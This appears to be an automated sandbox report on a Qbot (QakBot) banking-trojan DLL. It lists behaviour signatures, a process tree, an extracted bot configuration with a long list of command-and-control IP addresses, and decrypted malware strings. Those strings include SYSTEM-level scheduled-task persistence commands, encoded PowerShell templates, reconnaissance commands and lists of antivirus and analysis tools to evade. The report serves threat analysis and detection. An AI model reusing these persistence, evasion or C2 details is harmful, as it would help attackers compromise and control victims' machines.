Edit tour

Windows Analysis Report
photographed.dat.dll

Overview

General Information

Sample Name:	photographed.dat.dll
Analysis ID:	879093
MD5:	2c55c2c1b7fbc68e11f48a6a13a34ec1
SHA1:	725de881de6a04ebbdc7422710daa343af3dfc66
SHA256:	6b157281cbb1af882dc0e88eb4832bb892e8c2e1678e0bcf30050d47f015f77f
Tags:	dll
Infos:

Detection

Qbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Qbot

Sigma detected: Execute DLL with spoofed extension

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Writes to foreign memory regions

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries memory information (via WMI often done to detect virtual machines)

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

C2 URLs / IPs found in malware configuration

Uses whoami command line tool to query computer and username

Uses ipconfig to lookup or modify the Windows network settings

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Tries to load missing DLLs

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Connects to several IPs in different countries

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 5212 cmdline: loaddll32.exe "C:\Users\user\Desktop\photographed.dat.dll" MD5: 3B4636AE519868037940CA5C4272091B)

conhost.exe (PID: 5728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6888 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5684 cmdline: rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 4964 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5684 -s 660 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 7136 cmdline: rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 5272 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7136 -s 664 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 3108 cmdline: rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0?$_SpinWait@$0A@@details@Concurrency@@QAE@P6AXXZ@Z MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 7056 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 652 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 7216 cmdline: rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0SchedulerPolicy@Concurrency@@QAA@IZZ MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 7248 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7216 -s 648 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 7332 cmdline: rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 7496 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7332 -s 652 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 7340 cmdline: rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0?$_SpinWait@$0A@@details@Concurrency@@QAE@P6AXXZ@Z MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 7504 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7340 -s 652 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 7348 cmdline: rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0SchedulerPolicy@Concurrency@@QAA@IZZ MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 7568 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7348 -s 648 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 7360 cmdline: rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",next MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

wermgr.exe (PID: 7772 cmdline: C:\Windows\SysWOW64\wermgr.exe MD5: CCF15E662ED5CE77B5FF1A7AAE305233)

ipconfig.exe (PID: 1852 cmdline: ipconfig /all MD5: B0C7423D02A007461C850CD0DFE09318)

conhost.exe (PID: 1708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

whoami.exe (PID: 2244 cmdline: whoami /all MD5: 2E498B32E15CD7C0177A254E2410559C)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 7380 cmdline: rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",mwait_for_multiple@event@Concurrency@@SAIPAPAV12@I_NI@Z MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7416 cmdline: rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",mwait_for_all@agent@Concurrency@@SAXIPAPAV12@PAW4agent_status@2@I@Z MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 7584 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7416 -s 648 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

msiexec.exe (PID: 5264 cmdline: C:\Windows\system32\msiexec.exe /V MD5: 4767B71A318E201188A0D0A420C8B608)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
QakBot, qbotQbot	QBot is a modular information stealer also known as Qakbot or Pinkslipbot. It has been active for years since 2007. It has historically been known as a banking Trojan, meaning that it steals financial data from infected systems, and a loader using C2 servers for payload targeting and download.	GOLD CABIN	http://contagiodump.blogspot.com/2010/11/template.html http://www.secureworks.com/research/threat-profiles/gold-lagoon http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf https://0xthreatintel.medium.com/reversing-qakbot-tlp-white-d1b8b37ad8e7 https://asec.ahnlab.com/en/44662/	https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot

Malware Configuration

Threatname: Qbot

{"Bot id": "BB30", "Campaign": "1685526716", "Version": "404.1320", "C2 list": ["198.2.51.242:993", "88.126.94.4:50000", "123.3.240.16:6881", "183.87.163.165:443", "27.99.32.26:2222", "180.151.229.230:2078", "27.109.19.90:2078", "122.184.143.86:443", "105.101.207.3:443", "84.215.202.8:443", "85.231.105.49:2222", "12.172.173.82:995", "184.181.75.148:443", "72.134.124.16:443", "149.74.159.67:2222", "174.4.89.3:443", "200.84.200.20:2222", "223.166.13.95:995", "69.133.162.35:443", "80.12.88.148:2222", "12.172.173.82:20", "90.29.86.138:2222", "124.149.143.189:2222", "70.160.67.203:443", "186.64.67.30:443", "165.120.169.171:2222", "116.74.164.144:443", "92.186.69.229:2222", "95.45.50.93:2222", "84.35.26.14:995", "89.129.109.27:2222", "174.58.146.57:443", "201.143.215.69:443", "12.172.173.82:2087", "213.55.33.103:443", "50.68.204.71:443", "92.239.81.124:443", "64.121.161.102:443", "2.82.8.80:443", "47.34.30.133:443", "147.147.30.126:2222", "94.30.98.134:32100", "188.28.19.84:443", "116.120.145.170:995", "79.77.142.22:2222", "102.159.223.197:443", "147.219.4.194:443", "161.142.103.187:995", "103.42.86.42:995", "65.95.141.84:2222", "205.237.67.69:995", "103.123.223.133:443", "82.127.153.75:2222", "103.139.242.6:443", "117.195.29.126:995", "109.50.149.241:2222", "161.129.37.43:443", "71.38.155.217:443", "58.186.75.42:443", "124.122.47.148:443", "220.240.164.182:443", "59.28.84.65:443", "79.92.15.6:443", "24.234.220.88:990", "96.56.197.26:2083", "78.160.146.127:443", "69.123.4.221:2222", "76.185.109.16:443", "24.234.220.88:465", "76.178.148.107:2222", "122.186.210.254:443", "70.28.50.223:2087", "178.175.187.254:443", "83.110.223.61:443", "125.99.76.102:443", "37.14.229.220:2222", "173.88.135.179:443", "62.35.230.21:995", "199.27.66.213:443", "96.87.28.170:2222", "103.87.128.228:443", "176.142.207.63:443", "12.172.173.82:32101", "76.16.49.134:443", "12.172.173.82:465", "184.182.66.109:443", "70.28.50.223:32100", "78.92.133.215:443", "50.68.204.71:993", "114.143.176.236:443", "70.28.50.223:3389", "50.68.186.195:443", "47.205.25.170:443", "12.172.173.82:993", "76.170.252.153:995", "69.242.31.249:443", "85.104.105.67:443", "79.168.224.165:2222", "75.143.236.149:443", "14.192.241.76:995", "81.229.117.95:2222", "105.184.99.124:995", "98.145.23.67:443", "12.172.173.82:21", "75.109.111.89:443", "76.86.31.59:443", "201.244.108.183:995", "68.203.69.96:443", "103.144.201.56:2078", "151.62.238.176:443", "86.248.228.57:2078", "85.57.212.13:3389", "91.165.188.74:50000", "45.51.102.225:443", "74.136.224.98:443", "47.199.241.39:443", "94.204.232.135:443", "70.49.205.198:2222", "24.234.220.88:995", "70.28.50.223:2083"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000013.00000002.409441736.00000000048D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000013.00000002.406028423.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
decrypted.memstr	JoeSecurity_Qbot	Yara detected Qbot	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.rundll32.exe.cf0968.0.raw.unpack	MAL_QakBot_ConfigExtraction_Feb23	QakBot Config Extraction	kevoreilly	0xeb71:$params: 8B 7D 08 8B F1 57 89 55 FC E8 A0 99 FF FF 8D 9E 24 04 00 00 89 03 59 85 C0 75 08 6A FC 58 E9 0xa797:$conf: 5F 5E 5B C9 C3 51 6A 00 E8 C1 44 00 00 59 59 85 C0 75 01 C3
19.2.rundll32.exe.cf0968.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
19.2.rundll32.exe.ef0000.1.unpack	MAL_QakBot_ConfigExtraction_Feb23	QakBot Config Extraction	kevoreilly	0xeb71:$params: 8B 7D 08 8B F1 57 89 55 FC E8 A0 99 FF FF 8D 9E 24 04 00 00 89 03 59 85 C0 75 08 6A FC 58 E9 0xa797:$conf: 5F 5E 5B C9 C3 51 6A 00 E8 C1 44 00 00 59 59 85 C0 75 01 C3
19.2.rundll32.exe.ef0000.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
19.2.rundll32.exe.cf0968.0.unpack	MAL_QakBot_ConfigExtraction_Feb23	QakBot Config Extraction	kevoreilly	0xdf71:$params: 8B 7D 08 8B F1 57 89 55 FC E8 A0 99 FF FF 8D 9E 24 04 00 00 89 03 59 85 C0 75 08 6A FC 58 E9 0x9b97:$conf: 5F 5E 5B C9 C3 51 6A 00 E8 C1 44 00 00 59 59 85 C0 75 01 C3
19.2.rundll32.exe.cf0968.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
Click to see the 1 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Execute DLL with spoofed extension

Source: Process started

Author: Joe Security: Data: Command: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1, CommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: loaddll32.exe "C:\Users\user\Desktop\photographed.dat.dll", ParentImage: C:\Windows\System32\loaddll32.exe, ParentProcessId: 5212, ParentProcessName: loaddll32.exe, ProcessCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1, ProcessId: 6888, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000013.00000002.406028423.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Qbot {"Bot id": "BB30", "Campaign": "1685526716", "Version": "404.1320", "C2 list": ["198.2.51.242:993", "88.126.94.4:50000", "123.3.240.16:6881", "183.87.163.165:443", "27.99.32.26:2222", "180.151.229.230:2078", "27.109.19.90:2078", "122.184.143.86:443", "105.101.207.3:443", "84.215.202.8:443", "85.231.105.49:2222", "12.172.173.82:995", "184.181.75.148:443", "72.134.124.16:443", "149.74.159.67:2222", "174.4.89.3:443", "200.84.200.20:2222", "223.166.13.95:995", "69.133.162.35:443", "80.12.88.148:2222", "12.172.173.82:20", "90.29.86.138:2222", "124.149.143.189:2222", "70.160.67.203:443", "186.64.67.30:443", "165.120.169.171:2222", "116.74.164.144:443", "92.186.69.229:2222", "95.45.50.93:2222", "84.35.26.14:995", "89.129.109.27:2222", "174.58.146.57:443", "201.143.215.69:443", "12.172.173.82:2087", "213.55.33.103:443", "50.68.204.71:443", "92.239.81.124:443", "64.121.161.102:443", "2.82.8.80:443", "47.34.30.133:443", "147.147.30.126:2222", "94.30.98.134:32100", "188.28.19.84:443", "116.120.145.170:995", "79.77.142.22:2222", "102.159.223.197:443", "147.219.4.194:443", "161.142.103.187:995", "103.42.86.42:995", "65.95.141.84:2222", "205.237.67.69:995", "103.123.223.133:443", "82.127.153.75:2222", "103.139.242.6:443", "117.195.29.126:995", "109.50.149.241:2222", "161.129.37.43:443", "71.38.155.217:443", "58.186.75.42:443", "124.122.47.148:443", "220.240.164.182:443", "59.28.84.65:443", "79.92.15.6:443", "24.234.220.88:990", "96.56.197.26:2083", "78.160.146.127:443", "69.123.4.221:2222", "76.185.109.16:443", "24.234.220.88:465", "76.178.148.107:2222", "122.186.210.254:443", "70.28.50.223:2087", "178.175.187.254:443", "83.110.223.61:443", "125.99.76.102:443", "37.14.229.220:2222", "173.88.135.179:443", "62.35.230.21:995", "199.27.66.213:443", "96.87.28.170:2222", "103.87.128.228:443", "176.142.207.63:443", "12.172.173.82:32101", "76.16.49.134:443", "12.172.173.82:465", "184.182.66.109:443", "70.28.50.223:32100", "78.92.133.215:443", "50.68.204.71:993", "114.143.176.236:443", "70.28.50.223:3389", "50.68.186.195:443", "47.205.25.170:443", "12.172.173.82:993", "76.170.252.153:995", "69.242.31.249:443", "85.104.105.67:443", "79.168.224.165:2222", "75.143.236.149:443", "14.192.241.76:995", "81.229.117.95:2222", "105.184.99.124:995", "98.145.23.67:443", "12.172.173.82:21", "75.109.111.89:443", "76.86.31.59:443", "201.244.108.183:995", "68.203.69.96:443", "103.144.201.56:2078", "151.62.238.176:443", "86.248.228.57:2078", "85.57.212.13:3389", "91.165.188.74:50000", "45.51.102.225:443", "74.136.224.98:443", "47.199.241.39:443", "94.204.232.135:443", "70.49.205.198:2222", "24.234.220.88:995", "70.28.50.223:2083"]}

Sample uses string decryption to hide its real strings

Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: error res='%s' err=%d len=%u
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: netstat -nao
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: runas
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ipconfig /all
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: net localgroup
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: nltest /domain_trusts /all_trusts
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %s %04x.%u %04x.%u res: %s seh_test: %u consts_test: %d vmdetected: %d createprocess: %d
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Microsoft
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SELF_TEST_1
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: p%08x
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Self test FAILED!!!
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Self test OK.
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: /t5
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: whoami /all
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: cmd
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: microsoft.com,google.com,cisco.com,oracle.com,verisign.com,broadcom.com,yahoo.com,xfinity.com,irs.gov,linkedin.com
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ERROR: GetModuleFileNameW() failed with error: ERROR_INSUFFICIENT_BUFFER
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: route print
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: .lnk
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: "%s\system32\schtasks.exe" /Create /ST %02u:%02u /RU "NT AUTHORITY\SYSTEM" /SC ONCE /tr "%s" /Z /ET %02u:%02u /tn %s
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: arp -a
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %s "$%s = \"%s\"; & $%s"
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: net share
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: cmd.exe /c set
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Self check
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %u;%u;%u;
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: /c ping.exe -n 6 127.0.0.1 & type "%s\System32\calc.exe" > "%s"
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ProfileImagePath
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: at.exe %u:%u "%s" /I
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ProgramData
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Self check ok!
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: powershell.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: qwinsta
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: net view
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%s
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Component_08
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Start screenshot
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: schtasks.exe /Delete /F /TN %u
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: appidapi.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %s \"$%s = \\\"%s\\\\; & $%s\"
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: c:\ProgramData
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Component_07
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: powershell.exe -encodedCommand %S
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ERROR: GetModuleFileNameW() failed with error: %u
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: powershell.exe -encodedCommand
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SoNuce]ugdiB3c[doMuce2s81*uXmcvP
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: \System32\WindowsPowerShell\v1.0\powershell.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: schtasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /SC ONSTART /TN %u /TR "%s" /NP /F
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: error res='%s' err=%d len=%u
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: netstat -nao
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: runas
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ipconfig /all
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %u.%u.%u.%u.%u.%u.%04x
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SystemRoot
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: cscript.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: MBAMService.exe;mbamgui.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\xwizard.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\wermgr.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: AvastSvc.exe;aswEngSrv.exe;aswToolsSvc.exe;afwServ.exe;aswidsagent.exe;AvastUI.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: C:\INTERNAL\__empty
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: .dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_PhysicalMemory
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: ALLUSERSPROFILE
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: image/jpeg
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: LocalLow
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: displayName
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: shlwapi.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\WerFault.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: CommandLine
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: kernel32.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SubmitSamplesConsent
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: 1234567890
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: wbj.go
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\wextract.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Win32_DiskDrive
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: vkise.exe;isesrv.exe;cmdagent.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: System32
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Name
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\WerFault.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: WRSA.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: c:\\
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s"
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SpyNetReporting
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: FALSE
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: aswhookx.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Packages
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SonicWallClientProtectionService.exe;SWDash.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: application/x-shockwave-flash
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Sophos UI.exe;SophosUI.exe;SAVAdminService.exe;SavService.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: RepUx.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\mspaint.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Winsta0
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: CynetEPS.exe;CynetMS.exe;CynetConsole.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\wermgr.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %ProgramFiles(x86)%\Internet Explorer\iexplore.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: avp.exe;kavtray.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: root\SecurityCenter2
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\SysWOW64\backgroundTaskHost.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: MsMpEng.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: %SystemRoot%\System32\CertEnrollCtrl.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: userenv.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: csc_ui.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: frida-winjector-helper-32.exe;frida-winjector-helper-64.exe;tcpdump.exe;windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;packetcapture.exe;capturenet.exe;qak_proxy;dumpcap.exe;CFF Explorer.exe;not_rundll32.exe;ProcessHacker.exe;tcpview.exe;filemon.exe;procmon.exe;idaq64.exe;loaddll32.exe;PETools.exe;ImportREC.exe;LordPE.exe;SysInspector.exe;proc_analyzer.exe;sysAnalyzer.exe;sniff_hit.exe;joeboxcontrol.exe;joeboxserver.exe;ResourceHacker.exe;x64dbg.exe;Fiddler.exe;sniff_hit.exe;sysAnalyzer.exe;BehaviorDumper.exe;processdumperx64.exe;anti-virus.EXE;sysinfoX64.exe;sctoolswrapper.exe;sysinfoX64.exe;FakeExplorer.exe;apimonitor-x86.exe;idaq.exe
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: \\.\pipe\
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: pstorec.dll
Source: 19.2.rundll32.exe.cf0968.0.raw.unpack	String decryptor: NTUSER.DAT
